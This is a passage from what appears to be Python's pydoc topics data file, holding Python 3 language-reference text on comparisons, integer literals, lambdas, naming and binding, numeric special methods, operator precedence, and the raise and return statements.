statements.\n\nThe features recognized by Python 3.0 are ``absolute_import``,\n``division``, ``generators``, ``unicode_literals``,\n``print_function``, ``nested_scopes`` and ``with_statement``. They\nare all redundant because they are always enabled, and only kept for\nbackwards compatibility.\n\nA future statement is recognized and treated specially at compile\ntime: Changes to the semantics of core constructs are often\nimplemented by generating different code. It may even be the case\nthat a new feature introduces new incompatible syntax (such as a new\nreserved word), in which case the compiler may need to parse the\nmodule differently. Such decisions cannot be pushed off until\nruntime.\n\nFor any given release, the compiler knows which feature names have\nbeen defined, and raises a compile-time error if a future statement\ncontains a feature not known to it.\n\nThe direct runtime semantics are the same as for any import statement:\nthere is a standard module ``__future__``, described later, and it\nwill be imported in the usual way at the time the future statement is\nexecuted.\n\nThe interesting runtime semantics depend on the specific feature\nenabled by the future statement.\n\nNote that there is nothing special about the statement:\n\n import __future__ [as name]\n\nThat is not a future statement; it\'s an ordinary import statement with\nno special semantics or syntax restrictions.\n\nCode compiled by calls to the built-in functions ``exec()`` and\n``compile()`` that occur in a module ``M`` containing a future\nstatement will, by default, use the new syntax or semantics associated\nwith the future statement. This can be controlled by optional\narguments to ``compile()`` --- see the documentation of that function\nfor details.\n\nA future statement typed at an interactive interpreter prompt will\ntake effect for the rest of the interpreter session. If an\ninterpreter is started with the *-i* option, is passed a script name\nto execute, and the script includes a future statement, it will be in\neffect in the interactive session started after the script is\nexecuted.\n\nSee also:\n\n **PEP 236** - Back to the __future__\n The original proposal for the __future__ mechanism.\n', 'in': '\nComparisons\n***********\n\nUnlike C, all comparison operations in Python have the same priority,\nwhich is lower than that of any arithmetic, shifting or bitwise\noperation. Also unlike C, expressions like ``a < b < c`` have the\ninterpretation that is conventional in mathematics:\n\n comparison ::= or_expr ( comp_operator or_expr )*\n comp_operator ::= "<" | ">" | "==" | ">=" | "<=" | "!="\n | "is" ["not"] | ["not"] "in"\n\nComparisons yield boolean values: ``True`` or ``False``.\n\nComparisons can be chained arbitrarily, e.g., ``x < y <= z`` is\nequivalent to ``x < y and y <= z``, except that ``y`` is evaluated\nonly once (but in both cases ``z`` is not evaluated at all when ``x <\ny`` is found to be false).\n\nFormally, if *a*, *b*, *c*, ..., *y*, *z* are expressions and *op1*,\n*op2*, ..., *opN* are comparison operators, then ``a op1 b op2 c ... y\nopN z`` is equivalent to ``a op1 b and b op2 c and ... y opN z``,\nexcept that each expression is evaluated at most once.\n\nNote that ``a op1 b op2 c`` doesn\'t imply any kind of comparison\nbetween *a* and *c*, so that, e.g., ``x < y > z`` is perfectly legal\n(though perhaps not pretty).\n\nThe operators ``<``, ``>``, ``==``, ``>=``, ``<=``, and ``!=`` compare\nthe values of two objects. The objects need not have the same type.\nIf both are numbers, they are converted to a common type. Otherwise,\nthe ``==`` and ``!=`` operators *always* consider objects of different\ntypes to be unequal, while the ``<``, ``>``, ``>=`` and ``<=``\noperators raise a ``TypeError`` when comparing objects of different\ntypes that do not implement these operators for the given pair of\ntypes. You can control comparison behavior of objects of non-built-in\ntypes by defining rich comparison methods like ``__gt__()``, described\nin section *Basic customization*.\n\nComparison of objects of the same type depends on the type:\n\n* Numbers are compared arithmetically.\n\n* The values ``float(\'NaN\')`` and ``Decimal(\'NaN\')`` are special. The\n are identical to themselves, ``x is x`` but are not equal to\n themselves, ``x != x``. Additionally, comparing any value to a\n not-a-number value will return ``False``. For example, both ``3 <\n float(\'NaN\')`` and ``float(\'NaN\') < 3`` will return ``False``.\n\n* Bytes objects are compared lexicographically using the numeric\n values of their elements.\n\n* Strings are compared lexicographically using the numeric equivalents\n (the result of the built-in function ``ord()``) of their characters.\n [3] String and bytes object can\'t be compared!\n\n* Tuples and lists are compared lexicographically using comparison of\n corresponding elements. This means that to compare equal, each\n element must compare equal and the two sequences must be of the same\n type and have the same length.\n\n If not equal, the sequences are ordered the same as their first\n differing elements. For example, ``[1,2,x] <= [1,2,y]`` has the\n same value as ``x <= y``. If the corresponding element does not\n exist, the shorter sequence is ordered first (for example, ``[1,2] <\n [1,2,3]``).\n\n* Mappings (dictionaries) compare equal if and only if they have the\n same ``(key, value)`` pairs. Order comparisons ``(\'<\', \'<=\', \'>=\',\n \'>\')`` raise ``TypeError``.\n\n* Sets and frozensets define comparison operators to mean subset and\n superset tests. Those relations do not define total orderings (the\n two sets ``{1,2}`` and {2,3} are not equal, nor subsets of one\n another, nor supersets of one another). Accordingly, sets are not\n appropriate arguments for functions which depend on total ordering.\n For example, ``min()``, ``max()``, and ``sorted()`` produce\n undefined results given a list of sets as inputs.\n\n* Most other objects of built-in types compare unequal unless they are\n the same object; the choice whether one object is considered smaller\n or larger than another one is made arbitrarily but consistently\n within one execution of a program.\n\nComparison of objects of the differing types depends on whether either\nof the types provide explicit support for the comparison. Most\nnumeric types can be compared with one another. When cross-type\ncomparison is not supported, the comparison method returns\n``NotImplemented``.\n\nThe operators ``in`` and ``not in`` test for membership. ``x in s``\nevaluates to true if *x* is a member of *s*, and false otherwise. ``x\nnot in s`` returns the negation of ``x in s``. All built-in sequences\nand set types support this as well as dictionary, for which ``in``\ntests whether a the dictionary has a given key. For container types\nsuch as list, tuple, set, frozenset, dict, or collections.deque, the\nexpression ``x in y`` is equivalent to ``any(x is e or x == e for e in\ny)``.\n\nFor the string and bytes types, ``x in y`` is true if and only if *x*\nis a substring of *y*. An equivalent test is ``y.find(x) != -1``.\nEmpty strings are always considered to be a substring of any other\nstring, so ``"" in "abc"`` will return ``True``.\n\nFor user-defined classes which define the ``__contains__()`` method,\n``x in y`` is true if and only if ``y.__contains__(x)`` is true.\n\nFor user-defined classes which do not define ``__contains__()`` but do\ndefine ``__iter__()``, ``x in y`` is true if some value ``z`` with ``x\n== z`` is produced while iterating over ``y``. If an exception is\nraised during the iteration, it is as if ``in`` raised that exception.\n\nLastly, the old-style iteration protocol is tried: if a class defines\n``__getitem__()``, ``x in y`` is true if and only if there is a non-\nnegative integer index *i* such that ``x == y[i]``, and all lower\ninteger indices do not raise ``IndexError`` exception. (If any other\nexception is raised, it is as if ``in`` raised that exception).\n\nThe operator ``not in`` is defined to have the inverse true value of\n``in``.\n\nThe operators ``is`` and ``is not`` test for object identity: ``x is\ny`` is true if and only if *x* and *y* are the same object. ``x is\nnot y`` yields the inverse truth value. [4]\n', 'integers': '\nInteger literals\n****************\n\nInteger literals are described by the following lexical definitions:\n\n integer ::= decimalinteger | octinteger | hexinteger | bininteger\n decimalinteger ::= nonzerodigit digit* | "0"+\n nonzerodigit ::= "1"..."9"\n digit ::= "0"..."9"\n octinteger ::= "0" ("o" | "O") octdigit+\n hexinteger ::= "0" ("x" | "X") hexdigit+\n bininteger ::= "0" ("b" | "B") bindigit+\n octdigit ::= "0"..."7"\n hexdigit ::= digit | "a"..."f" | "A"..."F"\n bindigit ::= "0" | "1"\n\nThere is no limit for the length of integer literals apart from what\ncan be stored in available memory.\n\nNote that leading zeros in a non-zero decimal number are not allowed.\nThis is for disambiguation with C-style octal literals, which Python\nused before version 3.0.\n\nSome examples of integer literals:\n\n 7 2147483647 0o177 0b100110111\n 3 79228162514264337593543950336 0o377 0x100000000\n 79228162514264337593543950336 0xdeadbeef\n', 'lambda': '\nLambdas\n*******\n\n lambda_form ::= "lambda" [parameter_list]: expression\n lambda_form_nocond ::= "lambda" [parameter_list]: expression_nocond\n\nLambda forms (lambda expressions) have the same syntactic position as\nexpressions. They are a shorthand to create anonymous functions; the\nexpression ``lambda arguments: expression`` yields a function object.\nThe unnamed object behaves like a function object defined with\n\n def <lambda>(arguments):\n return expression\n\nSee section *Function definitions* for the syntax of parameter lists.\nNote that functions created with lambda forms cannot contain\nstatements or annotations.\n', 'lists': '\nList displays\n*************\n\nA list display is a possibly empty series of expressions enclosed in\nsquare brackets:\n\n list_display ::= "[" [expression_list | comprehension] "]"\n\nA list display yields a new list object, the contents being specified\nby either a list of expressions or a comprehension. When a comma-\nseparated list of expressions is supplied, its elements are evaluated\nfrom left to right and placed into the list object in that order.\nWhen a comprehension is supplied, the list is constructed from the\nelements resulting from the comprehension.\n', 'naming': "\nNaming and binding\n******************\n\n*Names* refer to objects. Names are introduced by name binding\noperations. Each occurrence of a name in the program text refers to\nthe *binding* of that name established in the innermost function block\ncontaining the use.\n\nA *block* is a piece of Python program text that is executed as a\nunit. The following are blocks: a module, a function body, and a class\ndefinition. Each command typed interactively is a block. A script\nfile (a file given as standard input to the interpreter or specified\non the interpreter command line the first argument) is a code block.\nA script command (a command specified on the interpreter command line\nwith the '**-c**' option) is a code block. The string argument passed\nto the built-in functions ``eval()`` and ``exec()`` is a code block.\n\nA code block is executed in an *execution frame*. A frame contains\nsome administrative information (used for debugging) and determines\nwhere and how execution continues after the code block's execution has\ncompleted.\n\nA *scope* defines the visibility of a name within a block. If a local\nvariable is defined in a block, its scope includes that block. If the\ndefinition occurs in a function block, the scope extends to any blocks\ncontained within the defining one, unless a contained block introduces\na different binding for the name. The scope of names defined in a\nclass block is limited to the class block; it does not extend to the\ncode blocks of methods -- this includes comprehensions and generator\nexpressions since they are implemented using a function scope. This\nmeans that the following will fail:\n\n class A:\n a = 42\n b = list(a + i for i in range(10))\n\nWhen a name is used in a code block, it is resolved using the nearest\nenclosing scope. The set of all such scopes visible to a code block\nis called the block's *environment*.\n\nIf a name is bound in a block, it is a local variable of that block,\nunless declared as ``nonlocal``. If a name is bound at the module\nlevel, it is a global variable. (The variables of the module code\nblock are local and global.) If a variable is used in a code block\nbut not defined there, it is a *free variable*.\n\nWhen a name is not found at all, a ``NameError`` exception is raised.\nIf the name refers to a local variable that has not been bound, a\n``UnboundLocalError`` exception is raised. ``UnboundLocalError`` is a\nsubclass of ``NameError``.\n\nThe following constructs bind names: formal parameters to functions,\n``import`` statements, class and function definitions (these bind the\nclass or function name in the defining block), and targets that are\nidentifiers if occurring in an assignment, ``for`` loop header, or\nafter ``as`` in a ``with`` statement or ``except`` clause. The\n``import`` statement of the form ``from ... import *`` binds all names\ndefined in the imported module, except those beginning with an\nunderscore. This form may only be used at the module level.\n\nA target occurring in a ``del`` statement is also considered bound for\nthis purpose (though the actual semantics are to unbind the name).\n\nEach assignment or import statement occurs within a block defined by a\nclass or function definition or at the module level (the top-level\ncode block).\n\nIf a name binding operation occurs anywhere within a code block, all\nuses of the name within the block are treated as references to the\ncurrent block. This can lead to errors when a name is used within a\nblock before it is bound. This rule is subtle. Python lacks\ndeclarations and allows name binding operations to occur anywhere\nwithin a code block. The local variables of a code block can be\ndetermined by scanning the entire text of the block for name binding\noperations.\n\nIf the ``global`` statement occurs within a block, all uses of the\nname specified in the statement refer to the binding of that name in\nthe top-level namespace. Names are resolved in the top-level\nnamespace by searching the global namespace, i.e. the namespace of the\nmodule containing the code block, and the builtins namespace, the\nnamespace of the module ``builtins``. The global namespace is\nsearched first. If the name is not found there, the builtins\nnamespace is searched. The global statement must precede all uses of\nthe name.\n\nThe builtins namespace associated with the execution of a code block\nis actually found by looking up the name ``__builtins__`` in its\nglobal namespace; this should be a dictionary or a module (in the\nlatter case the module's dictionary is used). By default, when in the\n``__main__`` module, ``__builtins__`` is the built-in module\n``builtins``; when in any other module, ``__builtins__`` is an alias\nfor the dictionary of the ``builtins`` module itself.\n``__builtins__`` can be set to a user-created dictionary to create a\nweak form of restricted execution.\n\n**CPython implementation detail:** Users should not touch\n``__builtins__``; it is strictly an implementation detail. Users\nwanting to override values in the builtins namespace should ``import``\nthe ``builtins`` module and modify its attributes appropriately.\n\nThe namespace for a module is automatically created the first time a\nmodule is imported. The main module for a script is always called\n``__main__``.\n\nThe ``global`` statement has the same scope as a name binding\noperation in the same block. If the nearest enclosing scope for a\nfree variable contains a global statement, the free variable is\ntreated as a global.\n\nA class definition is an executable statement that may use and define\nnames. These references follow the normal rules for name resolution.\nThe namespace of the class definition becomes the attribute dictionary\nof the class. Names defined at the class scope are not visible in\nmethods.\n\n\nInteraction with dynamic features\n=================================\n\nThere are several cases where Python statements are illegal when used\nin conjunction with nested scopes that contain free variables.\n\nIf a variable is referenced in an enclosing scope, it is illegal to\ndelete the name. An error will be reported at compile time.\n\nIf the wild card form of import --- ``import *`` --- is used in a\nfunction and the function contains or is a nested block with free\nvariables, the compiler will raise a ``SyntaxError``.\n\nThe ``eval()`` and ``exec()`` functions do not have access to the full\nenvironment for resolving names. Names may be resolved in the local\nand global namespaces of the caller. Free variables are not resolved\nin the nearest enclosing namespace, but in the global namespace. [1]\nThe ``exec()`` and ``eval()`` functions have optional arguments to\noverride the global and local namespace. If only one namespace is\nspecified, it is used for both.\n", 'nonlocal': '\nThe ``nonlocal`` statement\n**************************\n\n nonlocal_stmt ::= "nonlocal" identifier ("," identifier)*\n\nThe ``nonlocal`` statement causes the listed identifiers to refer to\npreviously bound variables in the nearest enclosing scope. This is\nimportant because the default behavior for binding is to search the\nlocal namespace first. The statement allows encapsulated code to\nrebind variables outside of the local scope besides the global\n(module) scope.\n\nNames listed in a ``nonlocal`` statement, unlike to those listed in a\n``global`` statement, must refer to pre-existing bindings in an\nenclosing scope (the scope in which a new binding should be created\ncannot be determined unambiguously).\n\nNames listed in a ``nonlocal`` statement must not collide with pre-\nexisting bindings in the local scope.\n\nSee also:\n\n **PEP 3104** - Access to Names in Outer Scopes\n The specification for the ``nonlocal`` statement.\n', 'numbers': "\nNumeric literals\n****************\n\nThere are three types of numeric literals: integers, floating point\nnumbers, and imaginary numbers. There are no complex literals\n(complex numbers can be formed by adding a real number and an\nimaginary number).\n\nNote that numeric literals do not include a sign; a phrase like ``-1``\nis actually an expression composed of the unary operator '``-``' and\nthe literal ``1``.\n", 'numeric-types': "\nEmulating numeric types\n***********************\n\nThe following methods can be defined to emulate numeric objects.\nMethods corresponding to operations that are not supported by the\nparticular kind of number implemented (e.g., bitwise operations for\nnon-integral numbers) should be left undefined.\n\nobject.__add__(self, other)\nobject.__sub__(self, other)\nobject.__mul__(self, other)\nobject.__truediv__(self, other)\nobject.__floordiv__(self, other)\nobject.__mod__(self, other)\nobject.__divmod__(self, other)\nobject.__pow__(self, other[, modulo])\nobject.__lshift__(self, other)\nobject.__rshift__(self, other)\nobject.__and__(self, other)\nobject.__xor__(self, other)\nobject.__or__(self, other)\n\n These methods are called to implement the binary arithmetic\n operations (``+``, ``-``, ``*``, ``/``, ``//``, ``%``,\n ``divmod()``, ``pow()``, ``**``, ``<<``, ``>>``, ``&``, ``^``,\n ``|``). For instance, to evaluate the expression ``x + y``, where\n *x* is an instance of a class that has an ``__add__()`` method,\n ``x.__add__(y)`` is called. The ``__divmod__()`` method should be\n the equivalent to using ``__floordiv__()`` and ``__mod__()``; it\n should not be related to ``__truediv__()``. Note that\n ``__pow__()`` should be defined to accept an optional third\n argument if the ternary version of the built-in ``pow()`` function\n is to be supported.\n\n If one of those methods does not support the operation with the\n supplied arguments, it should return ``NotImplemented``.\n\nobject.__radd__(self, other)\nobject.__rsub__(self, other)\nobject.__rmul__(self, other)\nobject.__rtruediv__(self, other)\nobject.__rfloordiv__(self, other)\nobject.__rmod__(self, other)\nobject.__rdivmod__(self, other)\nobject.__rpow__(self, other)\nobject.__rlshift__(self, other)\nobject.__rrshift__(self, other)\nobject.__rand__(self, other)\nobject.__rxor__(self, other)\nobject.__ror__(self, other)\n\n These methods are called to implement the binary arithmetic\n operations (``+``, ``-``, ``*``, ``/``, ``//``, ``%``,\n ``divmod()``, ``pow()``, ``**``, ``<<``, ``>>``, ``&``, ``^``,\n ``|``) with reflected (swapped) operands. These functions are only\n called if the left operand does not support the corresponding\n operation and the operands are of different types. [2] For\n instance, to evaluate the expression ``x - y``, where *y* is an\n instance of a class that has an ``__rsub__()`` method,\n ``y.__rsub__(x)`` is called if ``x.__sub__(y)`` returns\n *NotImplemented*.\n\n Note that ternary ``pow()`` will not try calling ``__rpow__()``\n (the coercion rules would become too complicated).\n\n Note: If the right operand's type is a subclass of the left operand's\n type and that subclass provides the reflected method for the\n operation, this method will be called before the left operand's\n non-reflected method. This behavior allows subclasses to\n override their ancestors' operations.\n\nobject.__iadd__(self, other)\nobject.__isub__(self, other)\nobject.__imul__(self, other)\nobject.__itruediv__(self, other)\nobject.__ifloordiv__(self, other)\nobject.__imod__(self, other)\nobject.__ipow__(self, other[, modulo])\nobject.__ilshift__(self, other)\nobject.__irshift__(self, other)\nobject.__iand__(self, other)\nobject.__ixor__(self, other)\nobject.__ior__(self, other)\n\n These methods are called to implement the augmented arithmetic\n assignments (``+=``, ``-=``, ``*=``, ``/=``, ``//=``, ``%=``,\n ``**=``, ``<<=``, ``>>=``, ``&=``, ``^=``, ``|=``). These methods\n should attempt to do the operation in-place (modifying *self*) and\n return the result (which could be, but does not have to be,\n *self*). If a specific method is not defined, the augmented\n assignment falls back to the normal methods. For instance, to\n execute the statement ``x += y``, where *x* is an instance of a\n class that has an ``__iadd__()`` method, ``x.__iadd__(y)`` is\n called. If *x* is an instance of a class that does not define a\n ``__iadd__()`` method, ``x.__add__(y)`` and ``y.__radd__(x)`` are\n considered, as with the evaluation of ``x + y``.\n\nobject.__neg__(self)\nobject.__pos__(self)\nobject.__abs__(self)\nobject.__invert__(self)\n\n Called to implement the unary arithmetic operations (``-``, ``+``,\n ``abs()`` and ``~``).\n\nobject.__complex__(self)\nobject.__int__(self)\nobject.__float__(self)\nobject.__round__(self[, n])\n\n Called to implement the built-in functions ``complex()``,\n ``int()``, ``float()`` and ``round()``. Should return a value of\n the appropriate type.\n\nobject.__index__(self)\n\n Called to implement ``operator.index()``. Also called whenever\n Python needs an integer object (such as in slicing, or in the\n built-in ``bin()``, ``hex()`` and ``oct()`` functions). Must return\n an integer.\n", 'objects': '\nObjects, values and types\n*************************\n\n*Objects* are Python\'s abstraction for data. All data in a Python\nprogram is represented by objects or by relations between objects. (In\na sense, and in conformance to Von Neumann\'s model of a "stored\nprogram computer," code is also represented by objects.)\n\nEvery object has an identity, a type and a value. An object\'s\n*identity* never changes once it has been created; you may think of it\nas the object\'s address in memory. The \'``is``\' operator compares the\nidentity of two objects; the ``id()`` function returns an integer\nrepresenting its identity.\n\n**CPython implementation detail:** For CPython, ``id(x)`` is the\nmemory address where ``x`` is stored.\n\nAn object\'s type determines the operations that the object supports\n(e.g., "does it have a length?") and also defines the possible values\nfor objects of that type. The ``type()`` function returns an object\'s\ntype (which is an object itself). Like its identity, an object\'s\n*type* is also unchangeable. [1]\n\nThe *value* of some objects can change. Objects whose value can\nchange are said to be *mutable*; objects whose value is unchangeable\nonce they are created are called *immutable*. (The value of an\nimmutable container object that contains a reference to a mutable\nobject can change when the latter\'s value is changed; however the\ncontainer is still considered immutable, because the collection of\nobjects it contains cannot be changed. So, immutability is not\nstrictly the same as having an unchangeable value, it is more subtle.)\nAn object\'s mutability is determined by its type; for instance,\nnumbers, strings and tuples are immutable, while dictionaries and\nlists are mutable.\n\nObjects are never explicitly destroyed; however, when they become\nunreachable they may be garbage-collected. An implementation is\nallowed to postpone garbage collection or omit it altogether --- it is\na matter of implementation quality how garbage collection is\nimplemented, as long as no objects are collected that are still\nreachable.\n\n**CPython implementation detail:** CPython currently uses a reference-\ncounting scheme with (optional) delayed detection of cyclically linked\ngarbage, which collects most objects as soon as they become\nunreachable, but is not guaranteed to collect garbage containing\ncircular references. See the documentation of the ``gc`` module for\ninformation on controlling the collection of cyclic garbage. Other\nimplementations act differently and CPython may change. Do not depend\non immediate finalization of objects when they become unreachable (ex:\nalways close files).\n\nNote that the use of the implementation\'s tracing or debugging\nfacilities may keep objects alive that would normally be collectable.\nAlso note that catching an exception with a \'``try``...``except``\'\nstatement may keep objects alive.\n\nSome objects contain references to "external" resources such as open\nfiles or windows. It is understood that these resources are freed\nwhen the object is garbage-collected, but since garbage collection is\nnot guaranteed to happen, such objects also provide an explicit way to\nrelease the external resource, usually a ``close()`` method. Programs\nare strongly recommended to explicitly close such objects. The\n\'``try``...``finally``\' statement and the \'``with``\' statement provide\nconvenient ways to do this.\n\nSome objects contain references to other objects; these are called\n*containers*. Examples of containers are tuples, lists and\ndictionaries. The references are part of a container\'s value. In\nmost cases, when we talk about the value of a container, we imply the\nvalues, not the identities of the contained objects; however, when we\ntalk about the mutability of a container, only the identities of the\nimmediately contained objects are implied. So, if an immutable\ncontainer (like a tuple) contains a reference to a mutable object, its\nvalue changes if that mutable object is changed.\n\nTypes affect almost all aspects of object behavior. Even the\nimportance of object identity is affected in some sense: for immutable\ntypes, operations that compute new values may actually return a\nreference to any existing object with the same type and value, while\nfor mutable objects this is not allowed. E.g., after ``a = 1; b =\n1``, ``a`` and ``b`` may or may not refer to the same object with the\nvalue one, depending on the implementation, but after ``c = []; d =\n[]``, ``c`` and ``d`` are guaranteed to refer to two different,\nunique, newly created empty lists. (Note that ``c = d = []`` assigns\nthe same object to both ``c`` and ``d``.)\n', 'operator-summary': '\nOperator precedence\n*******************\n\nThe following table summarizes the operator precedences in Python,\nfrom lowest precedence (least binding) to highest precedence (most\nbinding). Operators in the same box have the same precedence. Unless\nthe syntax is explicitly given, operators are binary. Operators in\nthe same box group left to right (except for comparisons, including\ntests, which all have the same precedence and chain from left to right\n--- see section *Comparisons* --- and exponentiation, which groups\nfrom right to left).\n\n+-------------------------------------------------+---------------------------------------+\n| Operator | Description |\n+=================================================+=======================================+\n| ``lambda`` | Lambda expression |\n+-------------------------------------------------+---------------------------------------+\n| ``if`` -- ``else`` | Conditional expression |\n+-------------------------------------------------+---------------------------------------+\n| ``or`` | Boolean OR |\n+-------------------------------------------------+---------------------------------------+\n| ``and`` | Boolean AND |\n+-------------------------------------------------+---------------------------------------+\n| ``not`` ``x`` | Boolean NOT |\n+-------------------------------------------------+---------------------------------------+\n| ``in``, ``not in``, ``is``, ``is not``, ``<``, | Comparisons, including membership |\n| ``<=``, ``>``, ``>=``, ``!=``, ``==`` | tests and identity tests, |\n+-------------------------------------------------+---------------------------------------+\n| ``|`` | Bitwise OR |\n+-------------------------------------------------+---------------------------------------+\n| ``^`` | Bitwise XOR |\n+-------------------------------------------------+---------------------------------------+\n| ``&`` | Bitwise AND |\n+-------------------------------------------------+---------------------------------------+\n| ``<<``, ``>>`` | Shifts |\n+-------------------------------------------------+---------------------------------------+\n| ``+``, ``-`` | Addition and subtraction |\n+-------------------------------------------------+---------------------------------------+\n| ``*``, ``/``, ``//``, ``%`` | Multiplication, division, remainder |\n| | [5] |\n+-------------------------------------------------+---------------------------------------+\n| ``+x``, ``-x``, ``~x`` | Positive, negative, bitwise NOT |\n+-------------------------------------------------+---------------------------------------+\n| ``**`` | Exponentiation [6] |\n+-------------------------------------------------+---------------------------------------+\n| ``x[index]``, ``x[index:index]``, | Subscription, slicing, call, |\n| ``x(arguments...)``, ``x.attribute`` | attribute reference |\n+-------------------------------------------------+---------------------------------------+\n| ``(expressions...)``, ``[expressions...]``, | Binding or tuple display, list |\n| ``{key: value...}``, ``{expressions...}`` | display, dictionary display, set |\n| | display |\n+-------------------------------------------------+---------------------------------------+\n\n-[ Footnotes ]-\n\n[1] While ``abs(x%y) < abs(y)`` is true mathematically, for floats it\n may not be true numerically due to roundoff. For example, and\n assuming a platform on which a Python float is an IEEE 754 double-\n precision number, in order that ``-1e-100 % 1e100`` have the same\n sign as ``1e100``, the computed result is ``-1e-100 + 1e100``,\n which is numerically exactly equal to ``1e100``. The function\n ``math.fmod()`` returns a result whose sign matches the sign of\n the first argument instead, and so returns ``-1e-100`` in this\n case. Which approach is more appropriate depends on the\n application.\n\n[2] If x is very close to an exact integer multiple of y, it\'s\n possible for ``x//y`` to be one larger than ``(x-x%y)//y`` due to\n rounding. In such cases, Python returns the latter result, in\n order to preserve that ``divmod(x,y)[0] * y + x % y`` be very\n close to ``x``.\n\n[3] While comparisons between strings make sense at the byte level,\n they may be counter-intuitive to users. For example, the strings\n ``"\\u00C7"`` and ``"\\u0327\\u0043"`` compare differently, even\n though they both represent the same unicode character (LATIN\n CAPITAL LETTER C WITH CEDILLA). To compare strings in a human\n recognizable way, compare using ``unicodedata.normalize()``.\n\n[4] Due to automatic garbage-collection, free lists, and the dynamic\n nature of descriptors, you may notice seemingly unusual behaviour\n in certain uses of the ``is`` operator, like those involving\n comparisons between instance methods, or constants. Check their\n documentation for more info.\n\n[5] The ``%`` operator is also used for string formatting; the same\n precedence applies.\n\n[6] The power operator ``**`` binds less tightly than an arithmetic or\n bitwise unary operator on its right, that is, ``2**-1`` is\n ``0.5``.\n', 'pass': '\nThe ``pass`` statement\n**********************\n\n pass_stmt ::= "pass"\n\n``pass`` is a null operation --- when it is executed, nothing happens.\nIt is useful as a placeholder when a statement is required\nsyntactically, but no code needs to be executed, for example:\n\n def f(arg): pass # a function that does nothing (yet)\n\n class C: pass # a class with no methods (yet)\n', 'power': '\nThe power operator\n******************\n\nThe power operator binds more tightly than unary operators on its\nleft; it binds less tightly than unary operators on its right. The\nsyntax is:\n\n power ::= primary ["**" u_expr]\n\nThus, in an unparenthesized sequence of power and unary operators, the\noperators are evaluated from right to left (this does not constrain\nthe evaluation order for the operands): ``-1**2`` results in ``-1``.\n\nThe power operator has the same semantics as the built-in ``pow()``\nfunction, when called with two arguments: it yields its left argument\nraised to the power of its right argument. The numeric arguments are\nfirst converted to a common type, and the result is of that type.\n\nFor int operands, the result has the same type as the operands unless\nthe second argument is negative; in that case, all arguments are\nconverted to float and a float result is delivered. For example,\n``10**2`` returns ``100``, but ``10**-2`` returns ``0.01``.\n\nRaising ``0.0`` to a negative power results in a\n``ZeroDivisionError``. Raising a negative number to a fractional power\nresults in a ``complex`` number. (In earlier versions it raised a\n``ValueError``.)\n', 'raise': '\nThe ``raise`` statement\n***********************\n\n raise_stmt ::= "raise" [expression ["from" expression]]\n\nIf no expressions are present, ``raise`` re-raises the last exception\nthat was active in the current scope. If no exception is active in\nthe current scope, a ``RuntimeError`` exception is raised indicating\nthat this is an error.\n\nOtherwise, ``raise`` evaluates the first expression as the exception\nobject. It must be either a subclass or an instance of\n``BaseException``. If it is a class, the exception instance will be\nobtained when needed by instantiating the class with no arguments.\n\nThe *type* of the exception is the exception instance\'s class, the\n*value* is the instance itself.\n\nA traceback object is normally created automatically when an exception\nis raised and attached to it as the ``__traceback__`` attribute, which\nis writable. You can create an exception and set your own traceback in\none step using the ``with_traceback()`` exception method (which\nreturns the same exception instance, with its traceback set to its\nargument), like so:\n\n raise Exception("foo occurred").with_traceback(tracebackobj)\n\nThe ``from`` clause is used for exception chaining: if given, the\nsecond *expression* must be another exception class or instance, which\nwill then be attached to the raised exception as the ``__cause__``\nattribute (which is writable). If the raised exception is not\nhandled, both exceptions will be printed:\n\n >>> try:\n ... print(1 / 0)\n ... except Exception as exc:\n ... raise RuntimeError("Something bad happened") from exc\n ...\n Traceback (most recent call last):\n File "<stdin>", line 2, in <module>\n ZeroDivisionError: int division or modulo by zero\n\n The above exception was the direct cause of the following exception:\n\n Traceback (most recent call last):\n File "<stdin>", line 4, in <module>\n RuntimeError: Something bad happened\n\nA similar mechanism works implicitly if an exception is raised inside\nan exception handler: the previous exception is then attached as the\nnew exception\'s ``__context__`` attribute:\n\n >>> try:\n ... print(1 / 0)\n ... except:\n ... raise RuntimeError("Something bad happened")\n ...\n Traceback (most recent call last):\n File "<stdin>", line 2, in <module>\n ZeroDivisionError: int division or modulo by zero\n\n During handling of the above exception, another exception occurred:\n\n Traceback (most recent call last):\n File "<stdin>", line 4, in <module>\n RuntimeError: Something bad happened\n\nAdditional information on exceptions can be found in section\n*Exceptions*, and information about handling exceptions is in section\n*The try statement*.\n', 'return': '\nThe ``return`` statement\n************************\n\n return_stmt ::= "return" [expression_list]\n\n``return`` may only occur syntactically nested in a function\ndefinition, not within a nested class definition.\n\nIf an expression list is present, it is evaluated, else ``None`` is\nsubstituted.\n\n``return`` leaves the current function call with the expression list\n(or ``None``) as return value.\n\nWhen ``return`` passes control out of a ``try`` statement with a\n``finally`` clause, that ``finally`` clause is executed before really\nleaving the function.\n\nIn a generator function, the ``return`` statement indicates that the\ngenerator is done and will cause ``StopIteration`` to be raised. The\nreturned value (if any) is used as an argument to construct\n``StopIteration`` and becomes the ``StopIteration.value`` attribute.\n', 'sequence-types': "\nEmulating container types\n*************************\n\nThe following methods can be defined to implement container objects.\nContainers usually are sequences (such as lists or tuples) or mappings\n(like dictionaries), but can represent other containers as well. The\nfirst set of methods is used either to emulate a sequence or to\nemulate a mapping; the difference is that for a sequence, the\nallowable keys should be the integers *k* for which ``0 <= k < N``\nwhere *N* is the length of the sequence, or slice objects, which\ndefine a range of items. It is also recommended that mappings provide\nthe methods ``keys()``, ``values()``, ``items()``, ``get()``,\n``clear()``, ``setdefault()``, ``pop()``, ``popitem()``, ``copy()``,\nand ``update()`` behaving similar to those for Python's standard\ndictionary objects. The ``collections`` module provides a\n``MutableMapping`` abstract base class to help create those methods\nfrom a base set of ``__getitem__()``, ``__setitem__()``,\n``__delitem__()``, and ``keys()``. Mutable sequences should provide\nmethods ``append()``, ``count()``, ``index()``, ``extend()``,\n``insert()``, ``pop()``, ``remove()``, ``reverse()`` and ``sort()``,\nlike Python standard list objects. Finally, sequence types should\nimplement addition (meaning concatenation) and multiplication (meaning\nrepetition) by defining the methods ``__add__()``, ``__radd__()``,\n``__iadd__()``, ``__mul__()``, ``__rmul__()`` and ``__imul__()``\ndescribed below; they should not define other numerical operators. It\nis recommended that both mappings and sequences implement the\n``__contains__()`` method to allow efficient use of the ``in``\noperator; for mappings, ``in`` should search the mapping's keys; for\nsequences, it should search through the values. It is further\nrecommended that both mappings and sequences implement the\n``__iter__()`` method to allow efficient iteration through the\ncontainer; for mappings, ``__iter__()`` should be the same as\n``keys()``; for sequences, it should iterate through the values.\n\nobject.__len__(self)\n\n Called to implement the built-in function ``len()``. Should return\n the length of the object, an integer ``>=`` 0. Also, an object\n that doesn't define a ``__bool__()`` method and whose ``__len__()``\n method returns zero is considered 